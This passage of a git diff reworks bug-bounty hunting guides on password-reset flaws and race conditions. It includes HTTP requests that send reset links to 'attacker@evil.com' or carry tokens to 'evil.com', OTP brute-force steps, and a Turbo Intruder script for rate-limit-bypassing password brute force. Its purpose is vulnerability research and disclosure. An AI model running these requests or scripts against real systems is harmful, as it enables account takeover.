to your email address - Click on the password reset link - Dont change password - Click any 3rd party websites(eg: Facebook, twitter) - Intercept the request in burpsuite proxy - Check if the referer header is leaking password reset token. -``` - -## 2. Sending an array of email addresses instead of a single email address. - -- In this attack the The attacker can send a password reset link to an arbitrary email by sending an array of email addresses instead of a single email address and It could lead to full account takeover. +1. Run `Top_5_Password_Reset_Bugs.md` items 1–5 first (they cover the highest-hit-rate flaws): + - Token leak via `Referer` + - Email array/param injection + - Reset OTP brute force + - Change-password API accepting another user's identity + - Client-trusted error responses +2. Then sweep this catalog for the remaining classes below (enumeration, entropy, expiry, auth-scope, redirect, multi-step skipping). +3. For each attempt, record both the request and response — most reset findings are proven from the delta. -``` -POST https://example.com/api/v1/password_reset HTTP/1.1 -Original Request Body: -{“email_address”:”xyz@gmail.com”} -Modified Request Body: -{“email_address”:[“admin@breadcrumb.com”,”attacker@evil.com”]} -``` -- In this way, the password reset link get send to both victim as well as attacker. And the attacker can use it to gain Full account Takeover. +## Test Cases & Examples -## 3. Bruteforcing OTP for Reseting Password. +### 1–5. Core Five +Full exploitation steps and payloads: see `Top_5_Password_Reset_Bugs.md` §§1–5 (same numbering). Quick recall of the *signal* to look for: +- #1: token appears in an outbound `Referer` header. +- #2: backend accepts `{"email_address":["victim","attacker"]}`. +- #3: OTP endpoint has no rate limit/lockout. +- #4: `/api/changepass` accepts `email` from the body. +- #5: SPA advances flow when the proxied response is rewritten to success. -- Now, In case The password reset functionality of application is based on OTP validation. -- Many program accepts No rate limit as acceptable risk. So, Bruteforcing OTP is worth trying. -- You can reset the password of an account by intercepting the request for OTP validation and bruteforcing the 6 digit number. -- Using this, it is possible to change and reset the password of any account, by changing the user data and brute-forcing the reset OTP. - -Exploitation: +### 6. Username/Account Enumeration via Reset +Compare responses of a reset request for an existing vs non-existing address: +```http +POST /api/forgot-password HTTP/1.1 +Content-Type: application/json + +{"email":"doesnotexist@example.com"} ``` - 1. Start the Burp Suite and Intercept the password reset request - 2.Send to intruder - 3.Use null payload +```json +{"error":"No account found for this email"} ``` +Distinct status/body/timing ⇒ valid-email list an attacker can feed into #3/#5 and credential attacks. -## 4. Full Account Takeover via Changing Email And Password of any User through API Parameters - -Exploitation: +### 7. Token Predictability / Low Entropy +Collect several tokens for different accounts/times and look for structure: ``` - 1. Attacker have to login with their account and Go to the Change password function - 2. Start the Burp Suite and Intercept the request - 3. After intercepting the request sent it to repeater and modify parameters Email and Password - POST /api/changepass - [...] - ("form": {"email":"victim@email.tld","password":"12345678"}) -``` - - -## 5. Response manipulation: Replace Bad Response With Good One - -- Look for Request and Response like these +2026-09-10 + userid + md5 → sequential, short, base32-only, or decodable JWT with alg=none ``` -HTTP/1.1 401 Unauthorized -(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”) +Predictable tokens make reset links stealable without any other bug (test against your own account only). + +### 8. Token Sent to the Wrong/Requester-Controlled Address +Request a reset, then tamper for a second "to" address: +```http +POST /api/forgot-password HTTP/1.1 +Content-Type: application/json + +{"email":"victim@example.com","cc":"attacker@evil.com","forward_to":"attacker@evil.com"} ``` -- Change Response +Same class: CRLF header injection in the email param (payloads in `Account_Takeover_By_Password_Reset_Functionality.md`). + +### 9. Multi-Step Flow Skipping / Broken Object Reference +If step N+1 is a plain endpoint: +```http +GET /reset/step2?token= HTTP/1.1 ``` -HTTP/1.1 200 OK -(“message”:”success”,”statusCode:200,”errorDescription”:”Success”) +- Try skipping earlier steps (visit final form directly). +- Swap `token`, `user_id`, `uuid` between two of *your* accounts to test object-level binding. + +### 10. Redirect After Reset Not Validated / Token Forwarded +The reset endpoint completes then redirects; if the next URL is attacker-controlled, the token can be carried away: +```http +GET /reset/confirm?token=&redirect=https://evil.com HTTP/1.1 ``` +Also test `?next=`, `?url=`, `?returnurl=` on every step. + +### 11. HTTP Verb & Status Trust Variants +- Retry failed steps with `PUT/PATCH/DELETE` or `_method=` override. +- Rewrite `4xx` reset responses to `200 OK` for clients that check status only (pattern of #5). + +## Bypass Techniques + +- Token *expiry/invalidation* gaps (old token still valid after use, after re-request, after email change): procedures in `Broken_Auth_And_Session_Management/Session_based_bugs.md` §§6–8. +- Token *leakage* channels beyond referrer (analytics/3rd-party domains, API responses): `Password_Reset_Token_Leakage.md`. +- Host-header poisoning of emailed links: `Account_Takeovers_Methodologies/Account_Takeovers_Methods.md` §3. +- Email-param HPP/pipe/CRLF variants: `Account_Takeover_By_Password_Reset_Functionality.md`. + +## Tools & Resources + +- Burp Suite (Intruder, Repeater, Match-and-Replace), browser dev tools (Network) for third-party requests on the reset page. +- [Password reset flaws mindmap](https://twitter.com/N008x/status/1302515523557548032/photo/1) + [source blog](https://anugrahsr.github.io/posts/10-Password-reset-flaws/) — see `README.md` in this folder. + +## Report Tips + +- Work the catalog as a matrix (step × flaw class); note negative results — triage likes "tested, not present". +- Enumeration (#6) is usually P4 alone, but report it chained: enumeration + no rate limit (#3) = mass takeover path. +- Keep one PoC video per flaw class; don't mix token leakage and parameter pollution in the same demo. + +## Credits + +- [Sm4rty](https://twitter.com/Sm4rty_) — original flaw list; expanded catalog for HowToHunt. diff --git a/Password_Reset_Functionality/Password_Reset_Token_Leakage.md b/Password_Reset_Functionality/Password_Reset_Token_Leakage.md index d598ddbf..7d55e576 100644 --- a/Password_Reset_Functionality/Password_Reset_Token_Leakage.md +++ b/Password_Reset_Functionality/Password_Reset_Token_Leakage.md @@ -1,12 +1,63 @@ -Password Reset Token Leakage - - Steps: - 1.Sent a password reset request using forget password - 2.Check your email - 3.copy your reset page link and paste in another tab and make burp intercept on. - 4.Look for every request if you find similiar token that is in reset link with other domain like: bat.bing.com or facebook.com - 5.Than there is reset password token leakage. - -### Authors - -* [@Virdoex_hunter](https://twitter.com/Virdoex_hunter) +# Password Reset Token Leakage + +Reset tokens are bearer credentials: whoever holds them holds the account. Leakage means the token escapes to a place the victim doesn't control — third-party scripts, the response body, the email itself, or logs. Each leak vector turns a phishing-grade primitive into direct ATO. Severity: typically P1–P2 when leakage to a third-party domain is proven with a real token. + +Referrer-header leakage with full steps is documented once in `Top_5_Password_Reset_Bugs.md` §1 — this file adds the analytics/3rd-party-domain check and the remaining leak surfaces. + +## Hunting Checklist + +1. Trigger a reset; open the emailed link with Burp intercept **on** and a second browser tab ready. +2. Walk every outbound request from the reset page and grep them all for the token string from the URL. +3. Inspect the token-bearing request/response bodies for the same token or its source. +4. Open the reset email as text and check for token disclosure beyond the link (plain text, QR, API endpoints). +5. Check redirect handling from email links (token re-appearing on the final page's resource requests). +6. Test with the *token from the link* — do not paste live production tokens of other users. + +## Test Cases & Examples + +### 1. Token Leaked to Third-Party Domains (analytics/social trackers) +Steps (original method): +1. Send a password-reset request via "forgot password". +2. Check your email. +3. Copy the reset-page link, open it in another tab, and keep Burp intercept **on**. +4. Inspect every request leaving the page for a token equal to the one in the reset URL, aimed at a third-party domain such as `bat.bing.com` or `facebook.com`. +5. If found, the reset token is leaked to a third party — leakage confirmed (a victim clicking through from search/social leaks their token the same way). + +Example of what to grep for: +```http +GET /action/event?...&ref=https%3A%2F%2Ftarget.com%2Freset%3Ftoken%3D HTTP/1.1 +Host: bat.bing.com +``` +```bash +# quick manual grep while walking the flow +grep -r "token=" burp_requests/ +``` + +### 2. Token in the Reset Email Body +- Read the email as raw/source: token may appear in a "copy-paste this code" line, a `List-Unsubscribe`-style URL, or a QR image, widening exposure to inbox scanners/Mail Rules that forward body content. + +### 3. Token/OTP in API Responses +- Intercept responses of the request/reset endpoints: token or OTP echoed in JSON (pattern: `{"otp":"123456"}`) — same root cause as `Account_Takeovers_Methodologies/Account_Takeovers_Methods.md` §6. + +### 4. Referrer-Based Leakage +- Full reproduction steps in `Top_5_Password_Reset_Bugs.md` §1; the durable check is: any external navigation from the reset page must not carry the token. + +## Bypass Techniques + +- If the reset page sets `Referrer-Policy`, look for leaks via other channels instead: meta-refresh to a tracker, `` pixels with the token in the query string, shared-link/unfurling services, and error pages reflecting the token. +- Tokens in `Location:` redirects you don't control (open-redirect chaining on the reset flow) count as leakage — check every redirect hop. + +## Tools & Resources + +- Burp Suite Proxy history (search across all requests for the token value), browser dev-tools Network tab, `grep`/`rg` over exported request sets. +- [10 Password Reset Flaws](https://anugrahsr.github.io/posts/10-Password-reset-flaws/) + +## Report Tips + +- Redact everything *except* the token in screenshots, and state the exact third-party domain + request line that received it. +- Use a token from **your own** account to prove the mechanism, then explain the victim path (search click, email forward, tracker). +- Severity framing: "bearer token valid T minutes exfiltrated to domain X" — give T (expiry) so triage can rate the window. + +## Credits + +- [@Virdoex_hunter](https://twitter.com/Virdoex_hunter) — leakage method. diff --git a/Password_Reset_Functionality/README.md b/Password_Reset_Functionality/README.md index 8f74933c..b7d9e114 100644 --- a/Password_Reset_Functionality/README.md +++ b/Password_Reset_Functionality/README.md @@ -1,8 +1,35 @@ -# Password Reset Mindmap -![https://pbs.twimg.com/media/EhN29bpU8AMvLxx?format=jpg&name=medium](https://pbs.twimg.com/media/EhN29bpU8AMvLxx?format=jpg&name=medium) - -# Source -* [Twitter](https://twitter.com/N008x/status/1302515523557548032/photo/1) -* [Blog](https://anugrahsr.github.io/posts/10-Password-reset-flaws/) -# Authors -* [KathanP19](https://twitter.com/KathanP19) +# Password Reset Functionality — Index + +Password reset is the classic Account Takeover entry point: it authenticates via email-borne secrets instead of sessions. This folder splits the flaw classes into focused playbooks so each can be hunted and reported separately. Severity ceiling of this folder: P1 (reset-token theft/AATO). + +## Hunting Checklist (folder routing) + +1. Start with the five highest-hit-rate flaws end to end: `Top_5_Password_Reset_Bugs.md`. +2. Run the full flaw-class sweep: `Password_Reset_Flaws_by_Sm4rty.md`. +3. Abuse the email parameter itself: `Account_Takeover_By_Password_Reset_Functionality.md`. +4. Audit every leak channel for the token: `Password_Reset_Token_Leakage.md`. +5. Test token/session lifecycle (expiry, single-use, revocation): `../Broken_Auth_And_Session_Management/Session_based_bugs.md` §§6–8. + +## Test Cases & Examples + +Per-file — payloads are kept exactly once (cross-referenced, never duplicated): +- Requests/payloads → `Top_5_Password_Reset_Bugs.md`, `Account_Takeover_By_Password_Reset_Functionality.md` +- Step-by-step methods → each file's Hunting Checklist. + +## Tools & Resources + +- Mindmap (N008x): + +![Password Reset Mindmap](https://pbs.twimg.com/media/EhN29bpU8AMvLxx?format=jpg&name=medium) + +- Source: [Twitter](https://twitter.com/N008x/status/1302515523557548032/photo/1) +- Source: [Blog — 10 Password Reset Flaws](https://anugrahsr.github.io/posts/10-Password-reset-flaws/) + +## Report Tips + +- One flaw class per report; chain the others as "additional evidence" bullets. +- Always demonstrate against a second account you control as the "victim". + +## Credits + +- [KathanP19](https://twitter.com/KathanP19) diff --git a/Password_Reset_Functionality/Top_5_Password_Reset_Bugs.md b/Password_Reset_Functionality/Top_5_Password_Reset_Bugs.md index 07241fa6..4f6cb03c 100644 --- a/Password_Reset_Functionality/Top_5_Password_Reset_Bugs.md +++ b/Password_Reset_Functionality/Top_5_Password_Reset_Bugs.md @@ -1,151 +1,111 @@ -# 🔒 Common Security Flaws in Password Reset Functionality +# Top 5 Password Reset Bugs -*A comprehensive compilation of password reset vulnerabilities from Twitter, bug bounty writeups, and disclosed security reports.* +Password reset is the most attacked auth flow because it must work *without* a session. These five flaws — referrer token leak, email-array injection, OTP brute force, unauthorized password change, and response manipulation — are the repeatedly-disclosed winners compiled from writeups and disclosed reports. Each one, exploited against a victim account, is a direct Account Takeover (P1/P2). ---- +Token *expiry/invalidation* bugs live in `Broken_Auth_And_Session_Management/Session_based_bugs.md`; email-parameter pollution variants in `Account_Takeover_By_Password_Reset_Functionality.md`. -## 1. 🔗 Password Reset Token Leak Via Referrer +## Hunting Checklist -### Overview -The HTTP Referer header is an optional HTTP header field that identifies the address of the webpage which linked to the resource being requested. This header contains the address of the previous web page from which a link to the currently requested page was followed. +1. Request a reset for your own account; click the emailed link but **do not complete** it — click an external site from the page and check `Referer` for the token (Bug 1). +2. Tamper with the request endpoint's email field: array form, extra `email=` params, case/whitespace variants (Bug 2 + pollution list in the ATO file). +3. If the flow ends in an OTP step, send it to Intruder (000000–999999) and watch for rate limits (Bug 3). +4. Take the *final* change-password/submit request and swap `email`/`user_id`/`token` for a victim's while keeping your auth — check authorization on the endpoint (Bug 4). +5. On every failure in the flow (wrong token, expired token, wrong OTP), check whether client behavior is driven by response body/status — try rewriting it (Bug 5). -### 🎯 Exploitation Steps -1. **Request password reset** to your email address -2. **Click on the password reset link** received in email -3. **Don't change the password** - leave the reset page open -4. **Click any 3rd party websites** (e.g., Facebook, Twitter) from the reset page -5. **Intercept the request** in Burp Suite proxy -6. **Check if the Referer header** is leaking the password reset token +## Test Cases & Examples -### ⚠️ Impact -Token exposure through referrer headers can lead to account takeover if malicious third-party sites capture these tokens. - ---- - -## 2. 📧 Array Injection in Email Parameter - -### Overview -This vulnerability occurs when the application accepts an array of email addresses instead of a single email address for password reset requests, potentially sending reset links to multiple recipients including attackers. - -### 🎯 Exploitation Example +### 1. Password Reset Token Leak Via Referrer +The `Referer` header sends the URL of the page you came from — including query strings with the token — to every third-party resource the reset page loads. +1. Request a password reset to your email. +2. Open the reset link but don't change the password. +3. Click any third-party link/asset on that page (Facebook, Twitter widget, etc.). +4. In Burp, inspect the outgoing request: if the token rides along: +```http +GET /like.php?u=... HTTP/1.1 +Host: facebook.com +Referer: https://target.com/reset?token=2b08cb71-1234-5678-9abc-def012345678 +``` +then a victim who clicks an external site straight from the reset page leaks their token → ATO. (See `Password_Reset_Token_Leakage.md` for analytics-domain variants.) -**Original Request:** +### 2. Array Injection in the Email Parameter +When the backend reads *all* values of the email field and mails every one: ```http -POST https://example.com/api/v1/password_reset HTTP/1.1 +POST /api/v1/password_reset HTTP/1.1 +Host: example.com Content-Type: application/json {"email_address":"victim@gmail.com"} ``` - -**Modified Request:** ```http -POST https://example.com/api/v1/password_reset HTTP/1.1 +POST /api/v1/password_reset HTTP/1.1 +Host: example.com Content-Type: application/json {"email_address":["victim@breadcrumb.com","attacker@evil.com"]} ``` +The link lands in both inboxes → attacker uses it → full ATO. Non-JSON siblings (`email=victim@gmail.com&email=attacker@gmail.com`, pipes, CRLF) are listed in `Account_Takeover_By_Password_Reset_Functionality.md`. -### ⚠️ Impact -The password reset link gets sent to both the victim and the attacker, enabling **Full Account Takeover**. - ---- - -## 3. 🔢 OTP Brute Force Attack - -### Overview -When password reset functionality relies on OTP (One-Time Password) validation without proper rate limiting, attackers can brute force the OTP to gain unauthorized access. - -### 🎯 Exploitation Steps -1. **Start Burp Suite** and intercept the password reset request -2. **Send the request to Intruder** -3. **Configure payload positions** for the OTP field -4. **Use number payload** (000000-999999 for 6-digit OTP) -5. **Launch the attack** to brute force valid OTP - -### ⚠️ Impact -Successful OTP brute force can lead to unauthorized password reset and complete account compromise. - ---- - -## 4. 🔄 Account Takeover via API Parameter Manipulation - -### Overview -This vulnerability occurs when change password API endpoints don't properly validate user authorization, allowing attackers to change passwords for arbitrary users by manipulating email parameters. +### 3. Brute-Forcing the Reset OTP +Many programs triage "no rate limit" as acceptable risk, so brute force is still the practical win — changing user data lets you attack *any* account. +1. Start the reset for a target account; reach the OTP step. +2. Send the verification request to Intruder, mark the OTP field. +3. Numbers payload `000000–999999` (match digit length). +```http +POST /api/reset/verify HTTP/1.1 +Host: target.com +Content-Type: application/json -### 🎯 Exploitation Steps -1. **Login with attacker account** and navigate to change password function -2. **Start Burp Suite** and intercept the password change request -3. **Send request to Repeater** and modify the email parameter to target victim -4. **Execute the request** with victim's email and attacker's chosen password +{"otp":"000000"} +``` +4. Hunt the outlier response (length/status) = valid OTP. -**Example Request:** +### 4. ATO via Change-Password API Parameter Manipulation +The endpoint trusts the request's identity parameters instead of the session: +1. Log in as the attacker; go to change password. +2. Intercept, send to Repeater, swap the email: ```http POST /api/changepass HTTP/1.1 +Host: target.com Content-Type: application/json +Cookie: session= -{ - "email": "victim@email.tld", - "password": "attackerPassword123" -} +{"email":"victim@email.tld","password":"12345678"} ``` +3. Success = attacker-set password on the victim account → ATO. -### ⚠️ Impact -Direct account takeover by changing victim's password without authorization. - ---- - -## 5. 🔀 Response Manipulation Bypass - -### Overview -Some applications rely solely on client-side response validation, allowing attackers to manipulate error responses to bypass security controls. - -### 🎯 Exploitation Technique - -**Original Response:** +### 5. Response Manipulation: Replace the Bad Response With a Good One +When the *browser* decides auth from what the server "said": ```http HTTP/1.1 401 Unauthorized Content-Type: application/json -{ - "message": "unsuccessful", - "statusCode": 403, - "errorDescription": "Unsuccessful" -} +{"message":"unsuccessful","statusCode":403,"errorDescription":"Unsuccessful"} ``` - -**Modified Response:** +Edit it in-proxy to: ```http HTTP/1.1 200 OK Content-Type: application/json -{ - "message": "success", - "statusCode": 200, - "errorDescription": "Success" -} +{"message":"success","statusCode":200,"errorDescription":"Success"} ``` +If the app advances to the new-password step, verification is bypassed. -### ⚠️ Impact -Bypasses client-side validation and may grant unauthorized access to password reset functionality. - ---- - -## 🛡️ Mitigation Strategies +## Tools & Resources -- **Implement proper rate limiting** for OTP attempts -- **Use secure token generation** with sufficient entropy -- **Validate user authorization** before allowing password changes -- **Implement server-side validation** instead of relying on client responses -- **Sanitize and validate** all input parameters including arrays -- **Use secure referrer policies** to prevent token leakage +- Burp Suite: Proxy (response interception), Repeater, Intruder (Numbers payload), Match-and-Replace for hands-free rewriting. +- [Hunting for Bugs in Password Reset Feature – Sm4rty](https://sm4rty.medium.com/hunting-for-bugs-in-password-reset-feature-2021-3def1b391bef) +- [10 Password Reset Flaws – Anurag Srivastava](https://anugrahsr.github.io/posts/10-Password-reset-flaws/) +- In-folder: `Password_Reset_Flaws_by_Sm4rty.md`, `Password_Reset_Token_Leakage.md`, `Account_Takeover_By_Password_Reset_Functionality.md`. ---- +## Report Tips -## 📚 Additional Resources +- Every one of these five must be demonstrated against a **second, victim-controlled account** — resetting your own is a policy note, not a vuln. +- Quantify brute force: "1M possible codes, X req/sec sustained, no lockout ⇒ average N minutes to compromise". +- For leaks (#1 and folder variants), name the exact third-party domain that received the token so triage can verify the exposure. -For more detailed analysis and real-world examples, check out this comprehensive blog post: -**[Hunting for Bugs in Password Reset Feature - 2021](https://sm4rty.medium.com/hunting-for-bugs-in-password-reset-feature-2021-3def1b391bef)** +### Suggested Fixes (for triage) +- Proper rate limiting + lockout on OTP/token steps; high-entropy single-use tokens; server-side authorization on all reset/change-password APIs; `Referrer-Policy: no-referrer` (or `same-origin`) on token-bearing pages; validate email params as scalars. ---- +## Credits -*Happy Bug Hunting! 🐛🔍* +- Compiled by [Sm4rty](https://twitter.com/Sm4rty_) from Twitter/writeups/disclosed reports; expanded edition restructured for HowToHunt. diff --git a/README.md b/README.md index 351fd17d..a2003039 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,8 @@ -

HowToHunt

+

HowTHunt

+

+ A reworked & expanded edition of HowToHunt by Kathan Patel and contributors +

Stars Forks @@ -11,16 +14,35 @@

A collection of practical guides, methodologies, and resources for hunting vulnerabilities
From Hackers for Community, because Hacking is not just a skill
It’s a Mindset

-## 💡 What is HowToHunt? +## 💡 What is HowTHunt? -HowToHunt is a collaborative repository of step-by-step guides, methodologies, and hands-on techniques for finding specific vulnerabilities. Whether you're a beginner or an experienced hunter, you'll find valuable resources to enhance your bug hunting skills. +HowTHunt is a collaborative knowledge base of step-by-step guides, methodologies, and hands-on techniques for finding specific vulnerabilities. Whether you're a beginner or an experienced hunter, you'll find valuable resources to enhance your bug hunting skills. + +This edition was rebuilt from the original HowToHunt repo: every guide follows one uniform format, stale duplicate files were merged, and messy code blocks were cleaned up so the whole thing is skimmable and copy-pasteable. > **Note:** This repository aims to provide practical, actionable guides rather than theoretical knowledge. Each guide is contributed by experienced hunters who have successfully used these techniques in the field. +## 🧭 Start Here + +* Full index: [SUMMARY.md](SUMMARY.md) +* New to hunting? Work top to bottom through the [Web Pentesting Checklist](CheckList/Web-Application-Pentesting-checklist.md), then follow the [Recon Workflow](Recon/Workflow.md). +* Hunting the high-dollar bugs? [Account Takeover Methodologies](Account_Takeovers_Methodologies/Account_Takeovers_Methods.md), [IDOR](IDOR/IDOR.md), [SSRF](SSRF/SSRF.md), [Sensitive Info Leaks](Sensitive_Info_Leaks/README.md). + +## 📐 Guide Format + +Every methodology doc in this repo follows the same structure so you always know where to look: + +1. **Overview** - what the bug class is, why it matters, typical impact +2. **Hunting Checklist** - numbered, actionable steps to run on target +3. **Test Cases & Examples** - real requests, payloads, and commands +4. **Bypass Techniques** - when the first attempt gets blocked +5. **Tools & Resources** - what automates or assists the hunt +6. **Report Tips** - how to frame impact so the report doesn't get closed as N/A + ## 📖 How to Use ### For Readers -Visit our [GitBook](https://kathan19.gitbook.io/) for an organized, searchable reading experience with all the guides properly categorized. +Browse locally via [SUMMARY.md](SUMMARY.md), or use the upstream [GitBook](https://kathan19.gitbook.io/) for a searchable reading experience. ### For Contributors 1. Fork the repository diff --git a/Race_Condition/race_conditions.md b/Race_Condition/race_conditions.md index 65efd79c..a97a2a34 100644 --- a/Race_Condition/race_conditions.md +++ b/Race_Condition/race_conditions.md @@ -1,140 +1,141 @@ -# RACE CONDITIONS -## What is Race conditions ? - - Race conditions are a common type of vulnerability closely related to business [logic flaws](https://portswigger.net/web-security/logic-flaws). - - They occur when websites process requests concurrently without verifying. This can lead to multiple distinct threads interacting with the same data at the same time, resulting in a "collision" that causes unintended behavior in the application. - -
- -## Limit over run RC (Exploiting Logic Flaws) -- There are some basic RC tests that you can try in the context of Logic Flaws. - - Invite user - - Joining a group - - Like, subscribe, follow, unfollow, Vote ..etc that required limit. - -### This method required Burp version 2023.9.x or higher (This is the easiest method to exploit, you can create your own script also.) -1 - Send the request to repeater for `'n' no. of times`. - -2 - Create a Tab for all those request and choose `Send Parallel (single Packet Attack)` - -3 - Hit send , if application is Vulnerable, you'll see the magic. -
- -## Rate-Limit Bypass via RC - -1 - Select the parameter in request that you want to bruteforce(let's say password), and `send the request into TurboIntruder`. - -2 - If it is password or something , then wordlist should be copied in your clipboard that and use the below python script in Turbo Intruder. - -``` -def queueRequests(target, wordlists): - - # as the target supports HTTP/2, use engine=Engine.BURP2 and concurrentConnections=1 for a single-packet attack - engine = RequestEngine(endpoint=target.endpoint, - concurrentConnections=1, - engine=Engine.BURP2 - ) - - # assign the list of candidate passwords from your clipboard - passwords = wordlists.clipboard - - # queue a login request using each password from the wordlist - # the 'gate' argument withholds the final part of each request until engine.openGate() is invoked - for password in passwords: - engine.queue(target.req, password, gate='1') - - # once every request has been queued - # invoke engine.openGate() to send all requests in the given gate simultaneously - engine.openGate('1') - -def handleResponse(req, interesting): - table.add(req) -``` - -3 - Hit Attack and see the magic. - -
- -## Multi-Endpoint Race Conditions - -1 - When a single functionality chains with multiple request , eg - `Buying a product from a E-Commerce application` - - - /product --> for the product - - /cart --> Add to cart that product - - /cart/checkout --> Buy that product - -2 - Send all the required request into burp repeater for the product you want in a sequence and create a Tab. - -3 - Select `Send Parallel (single Packet Attack)` and hit send. - -
- -## Single Endpoint RaceCondition - - - If you've facing a functionality where new objects edit the older object and require email verification, then we can test there for RaceConditions, Eg. Email Change functionality - - `Account A : Attacker --> attacker@email.com` - `Account B : Victim --> victim@email.com` - -1 - Application has email change functionality, where the new requested email is updated over older email, and send the confirmation link to the user email address. - -2 - Since, email is updated in DataBase and only confirmation is needed, - -3 - So we `Send Parallel (Single Packet Attack)` of the changing email for, -``` -attacker@email.com -victim@email.com -``` -4 - In Backend, Because we request so much fast that when application server generate confirmation link for `attacker@email.com` at the same time `victim@email.com` request is also reach their and application got confused to prioritise , As a result it sends both confirmation links on the same email. - -5 - Impact : This will lead to Full Acount Takeover. - -
- -## Time Sensitive Vulnerabilities -1 - Send two parallel `forget password` request for `Attacker i..e Account-A` - -2 - If both `password reset links contains same token`, then we can test their for ATO. - -3 - This time send both request again by `changing victim's username/password in one of them`. - -4 - Analyze the response time, if `both request have same response time`, then their might be chances of ATO - -
- -# REAL World Cases : (H1 reports) - -### 1 - Race condition in flag submission - - [Found in --> HackerOne](https://hackerone.com/reports/454949) - - Report describes a Race Condition Vulnerability which `allow an authenticated user to submit the same ctf Flag multiple times`. Increasing the user points and therefore the chances to get an invitation to a private program. - -### 2 - Race condition on Invite user action - - [Found in --> Omise](https://hackerone.com/reports/1285538) - - Race condition vulnerability which `allows the invitation of the same member multiple times to a single team` via the dashboard. - -### 3 - Race condition in performing retest allows duplicated payments - - [Found in --> HackerOne](https://hackerone.com/reports/429026) - - By executing `multiple requests to confirm a retest at the same time`, a malicious user is paid multiple times for the retest. This `allows for stealing money from HackerOne`, which could go unnoticed by both HackerOne and the attacker. - -### 4 - Race Condition leads to Un-Deletable group member - - [Found in --> HackerOne](https://hackerone.com/reports/604534) - - Small Race condition bug in which a group `user couldn't be removed from the group even by the admin` after they join. - -### 5 - Race Condition when following a user - - [Found in --> every.org](https://hackerone.com/reports/927384) - - Race condition vulnerability when following a user. If you send the Follow requests asynchronously, you can `follow a user multiple times instead getting an error message`. - -### 6 - Race Conditions in Popular reports feature. - - [Found in --> HackerOne](https://hackerone.com/reports/146845) - - This report describes a race condition bug which `allow an authenticated user to upvote or downvote multiple times a single report`, increasing its counter (and its rank on the hacktivity page). - -### 7 - Race condition in joining CTF group - - [Found in --> HackerOne](https://hackerone.com/reports/1540969) - - A race condition in https://ctf.hacker101.com/group/join `allows a user to join the same CTF group multiple times`.The user will show up in the group member list multiple times, and affect the group statistics. - -### 8 - Race conditions can be used to bypass invitation limit - - [Found in --> KeyBase](https://hackerone.com/reports/115007) - - Using Race conditions, attacker was `able to send out a total of 7 invites to his throwaway emails, obviously bypassing the 3 no. of invitations limit`. - -### 9 - Race Condition allows to redeem multiple times gift cards. - - [Found in --> Reverb.com](https://hackerone.com/reports/759247) - - I've found a Race Condition vulnerability which `allows to redeem gift cards multiple times`. This how an attacker can easily buy stuff just buying one gift card and redeem it over and over again. +# Race Conditions + +Race conditions occur when a website processes requests concurrently without proper verification, so multiple threads interact with the same data at the same time and "collide," producing unintended behavior. They are closely related to [business logic flaws](https://portswigger.net/web-security/logic-flaws) and matter because they break the assumptions behind limits, one-time actions, and uniqueness guarantees. Typical impact: limit overruns (invites, votes, redemptions), duplicated payments, account takeover via email-change races, and rate-limit bypass. + +## Hunting Checklist + +1. Inventory every feature with a one-time or capped effect: gift cards, coupons, promo codes, referral/invite limits, withdrawals, free trials, CTF flag submission, likes/follows/subscribes/votes, group joins, email/phone change, password reset. +2. For each, ask: does the check happen before the action is committed, and can two requests pass the check before either write lands? +3. Single-request race: send N copies of the same request simultaneously (Burp Repeater → create a tab group → **Send Parallel (single-packet attack)**; requires Burp 2023.9.x+, or write your own script). +4. Multi-endpoint race: chain the whole user flow (e.g., `/product` → `/cart` → `/cart/checkout`) as parallel tabs and fire together. +5. Second-order race: if functionality requires email verification and a new value overwrites the stored old one in the DB *before* confirmation, race the two overwriting requests. +6. Time-sensitive race: fire two related requests (e.g., two forgot-password requests) and analyze whether tokens/state collide or response times overlap. +7. For rate-limit bypass, use Turbo Intruder with a single-packet HTTP/2 engine rather than raw parallelism. +8. Repeat attempts many times — races are probabilistic; one failure is not evidence of absence. +9. Compare server-side effects (not just HTTP status): re-fetch balances/limits/member lists to confirm the double-application. + +## Test Cases & Examples + +### Limit-overrun race (logic flaw) + +Targets: invite user, joining a group, like/subscribe/follow/unfollow/vote — anything with a required limit. + +Example single-action request to replay in parallel: + +```http +POST /api/coupons/apply HTTP/1.1 +Host: example.com +Content-Type: application/json +Cookie: session= + +{"code":"SAVE10"} +``` + +Method (easiest — Burp 2023.9.x or higher; you can also create your own script): + +1. Send the request to Repeater N times. +2. Create a tab group for all those requests and choose **Send Parallel (single-packet attack)**. +3. Hit send — if the application is vulnerable, you'll see the magic (limit applied once, action executed N times). + +### Rate-limit bypass via RC (Turbo Intruder) + +1. Select the parameter to brute-force (e.g., password) and send the request into Turbo Intruder. +2. Copy your wordlist to the clipboard and use the script below: + +```python +def queueRequests(target, wordlists): + + # as the target supports HTTP/2, use engine=Engine.BURP2 and concurrentConnections=1 for a single-packet attack + engine = RequestEngine(endpoint=target.endpoint, + concurrentConnections=1, + engine=Engine.BURP2 + ) + + # assign the list of candidate passwords from your clipboard + passwords = wordlists.clipboard + + # queue a login request using each password from the wordlist + # the 'gate' argument withholds the final part of each request until engine.openGate() is invoked + for password in passwords: + engine.queue(target.req, password, gate='1') + + # once every request has been queued + # invoke engine.openGate() to send all requests in the given gate simultaneously + engine.openGate('1') + +def handleResponse(req, interesting): + table.add(req) +``` + +3. Hit attack and see the magic. + +### Multi-endpoint race conditions + +When one functionality chains multiple requests, e.g., buying a product on an e-commerce app: + +```http +POST /product HTTP/1.1 +Host: example.com +``` + +```http +POST /cart HTTP/1.1 +Host: example.com +``` + +```http +POST /cart/checkout HTTP/1.1 +Host: example.com +``` + +1. Send all the required requests into Burp Repeater for the target product, in sequence, and create a tab group. +2. Select **Send Parallel (single-packet attack)** and hit send — one checkout may satisfy N orders (e.g., zero-discount applied N times, or stock/limit checked once). + +### Single-endpoint race condition (email change → ATO) + +If a functionality edits an older object and requires email verification, test there (e.g., email change): + +- Account A (attacker): `attacker@email.com` +- Account B (victim): `victim@email.com` + +1. The app's email-change feature updates the requested email over the old one in the DB and sends a confirmation link to the *stored* address. +2. Fire a **Send Parallel (single-packet attack)** of the change-email request for both `attacker@email.com` and `victim@email.com`. +3. Because the requests arrive faster than the server processes them, when the app generates the confirmation for `attacker@email.com` the `victim@email.com` request is already mid-handling — the app gets confused about which to prioritize and sends both confirmation links to the same email. +4. Impact: this can lead to full account takeover. + +### Time-sensitive vulnerability (forgot-password) + +1. Send two parallel forgot-password requests for the attacker's account (Account A). +2. If both password-reset links contain the 